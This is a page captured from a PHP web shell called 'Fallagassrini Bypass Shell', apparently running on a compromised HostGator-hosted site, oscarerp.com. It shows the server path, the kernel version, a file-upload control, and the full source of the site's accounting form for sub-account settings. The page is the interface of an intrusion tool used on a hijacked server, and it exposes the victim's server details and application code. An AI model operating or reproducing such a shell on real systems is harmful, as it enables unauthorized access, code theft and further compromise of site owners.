? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/accounting/edit_sub_ac_settings.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_sub_ac_settings', 'view_sub_ac_settings', '<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Update Sub Account Setting</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('accounting/addinaccounting/update_sub_ac_settings/view_sub_ac_settings/1', $attributes);
$acc_sub = $this->mastermodel->getdatas('finance_chart_master', 'chart_type_id','asc');
?>
<input type="hidden" name="sub_account_settings_id" value="<?= $viewinfo->sub_account_settings_id ?>"/>

<div class="clean"></div>       
<div class="grid_6">
    <div class="box">
        <div class="header">                   
            <span></span>
        </div>
        <div class="content no-padding">
            
            <div class="section _100">
                <label>Employee</label>
                <div>
                    <select name="employee" class="required chzn-done" >
                        <?php
                        if (count($acc_sub)) {
                            $sub_t = 'temp';
                            foreach ($acc_sub as $accsub) {
                                if ($accsub['chart_type_id'] != $sub_t) {
                                    $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                    echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                }
                                echo "<option value='" . $accsub['chart_master_id'] . "'";
                                if ($accsub['chart_master_id'] == $viewinfo->employee) {
                                    echo "selected";
                                } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                if ($accsub['chart_type_id'] != $sub_t) {
                                    echo " ";
                                }
                                $sub_t = $accsub['chart_type_id'];
                            }
                        }
                        ?>
                    </select>
                </div>
            </div>
            
            <div class="section _100">
                <label>Student</label>
                <div>
                    <select name="student" class="required chzn-done" >
                        <?php
                        if (count($acc_sub)) {
                            $sub_t = 'temp';
                            foreach ($acc_sub as $accsub) {
                                if ($accsub['chart_type_id'] != $sub_t) {
                                    $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                    echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                }
                                echo "<option value='" . $accsub['chart_master_id'] . "'";
                                if ($accsub['chart_master_id'] == $viewinfo->student) {
                                    echo "selected";
                                } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                if ($accsub['chart_type_id'] != $sub_t) {
                                    echo " ";
                                }
                                $sub_t = $accsub['chart_type_id'];
                            }
                        }
                        ?>
                    </select>
                </div>
            </div>
            
            
            <div class="section _100">
                <label>Profit/Loss</label>
                <div>
                    <select name="profitloss" class="required chzn-done" >
                        <?php
                        if (count($acc_sub)) {
                            $sub_t = 'temp';
                            foreach ($acc_sub as $accsub) {
                                if ($accsub['chart_type_id'] != $sub_t) {
                                    $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                    echo '<optgroup label="' . $optgp . '"></optgroup> ';
                                }
                                echo "<option value='" . $accsub['chart_master_id'] . "' ";
                                if ($accsub['chart_master_id'] == $viewinfo->profitloss) {
                                    echo "selected";
                                } echo ">" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                                if ($accsub['chart_type_id'] != $sub_t) {
                                    echo " ";
                                }
                                $sub_t = $accsub['chart_type_id'];
                            }
                        }
                        ?>
                    </select>
                </div>
            </div>
            
            <div class="section _100">
                <label>Salary</label>
                <div>
                    <select name="salary" class="required chzn-done" >
                    <?php
                    if (count($acc_sub)) {
                        $sub_t = 'temp';
                        foreach ($acc_sub as $accsub) {
                            if ($accsub['chart_type_id'] != $sub_t) {
                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                            }
                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                            if ($accsub['chart_master_id'] == $viewinfo->salary) {
                                echo "selected";
                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                            if ($accsub['chart_type_id'] != $sub_t) {
                                echo " ";
                            }
                            $sub_t = $accsub['chart_type_id'];
                        }
                    }
                    ?>
                    </select>
                </div>
            </div>  
            
             <div class="section _100">
                <label>Bank Account</label>
                <div>
                    <select name="bank_account" class="required chzn-done" >
                    <?php
                    if (count($acc_sub)) {
                        $sub_t = 'temp';
                        foreach ($acc_sub as $accsub) {
                            if ($accsub['chart_type_id'] != $sub_t) {
                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                            }
                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                            if ($accsub['chart_master_id'] == $viewinfo->bank_account) {
                                echo "selected";
                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                            if ($accsub['chart_type_id'] != $sub_t) {
                                echo " ";
                            }
                            $sub_t = $accsub['chart_type_id'];
                        }
                    }
                    ?>
                    </select>
                </div>
            </div>
            
            <div class="section _100">
                <label>Fee Payable A/C</label>
                <div>
                    <select name="employee_fee_payable" class="required chzn-done" >
                    <?php
                    if (count($acc_sub)) {
                        $sub_t = 'temp';
                        foreach ($acc_sub as $accsub) {
                            if ($accsub['chart_type_id'] != $sub_t) {
                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                            }
                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                            if ($accsub['chart_master_id'] == $viewinfo->employee_fee_payable) {
                                echo "selected";
                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                            if ($accsub['chart_type_id'] != $sub_t) {
                                echo " ";
                            }
                            $sub_t = $accsub['chart_type_id'];
                        }
                    }
                    ?>
                    </select>
                </div>
            </div>
            
            <div class="section _100">
                <label>Allowance</label>
                <div>
                    <select name="allowance" class="required chzn-done" >
                    <?php
                    if (count($acc_sub)) {
                        $sub_t = 'temp';
                        foreach ($acc_sub as $accsub) {
                            if ($accsub['chart_type_id'] != $sub_t) {
                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                            }
                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                            if ($accsub['chart_master_id'] == $viewinfo->allowance) {
                                echo "selected";
                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                            if ($accsub['chart_type_id'] != $sub_t) {
                                echo " ";
                            }
                            $sub_t = $accsub['chart_type_id'];
                        }
                    }
                    ?>
                    </select>
                </div>
            </div>
            
            <div class="section _100">
                <label>Deduction</label>
                <div>
                    <select name="deduction" class="required chzn-done" >
                    <?php
                    if (count($acc_sub)) {
                        $sub_t = 'temp';
                        foreach ($acc_sub as $accsub) {
                            if ($accsub['chart_type_id'] != $sub_t) {
                                $optgp = $this->mastermodel->get_single_field_value('finance_chart_type', 'chart_type_name', 'chart_type_id', $accsub['chart_type_id']);
                                echo '<optgroup label="' . $optgp . '"></optgroup> ';
                            }
                            echo "<option value='" . $accsub['chart_master_id'] . "'";
                            if ($accsub['chart_master_id'] == $viewinfo->deduction) {
                                echo "selected";
                            } echo " >" . $accsub['chart_account_code'] . "&nbsp;&nbsp;" . $accsub['chart_account_name'] . "</option>";
                            if ($accsub['chart_type_id'] != $sub_t) {
                                echo " ";
                            }
                            $sub_t = $accsub['chart_type_id'];
                        }
                    }
                    ?>
                    </select>
                </div>
            </div>
            <div class="actions">
                <div class="actions-left">
                    <input type="reset">
                    <input type="hidden" name="resfunction" value="search_amenities"/>
                </div>
                <div class="actions-right">
                    <button style="margin-left: 130px;" type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
                </div>
            </div>           
        </div> 
    </div> 
</div> 
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net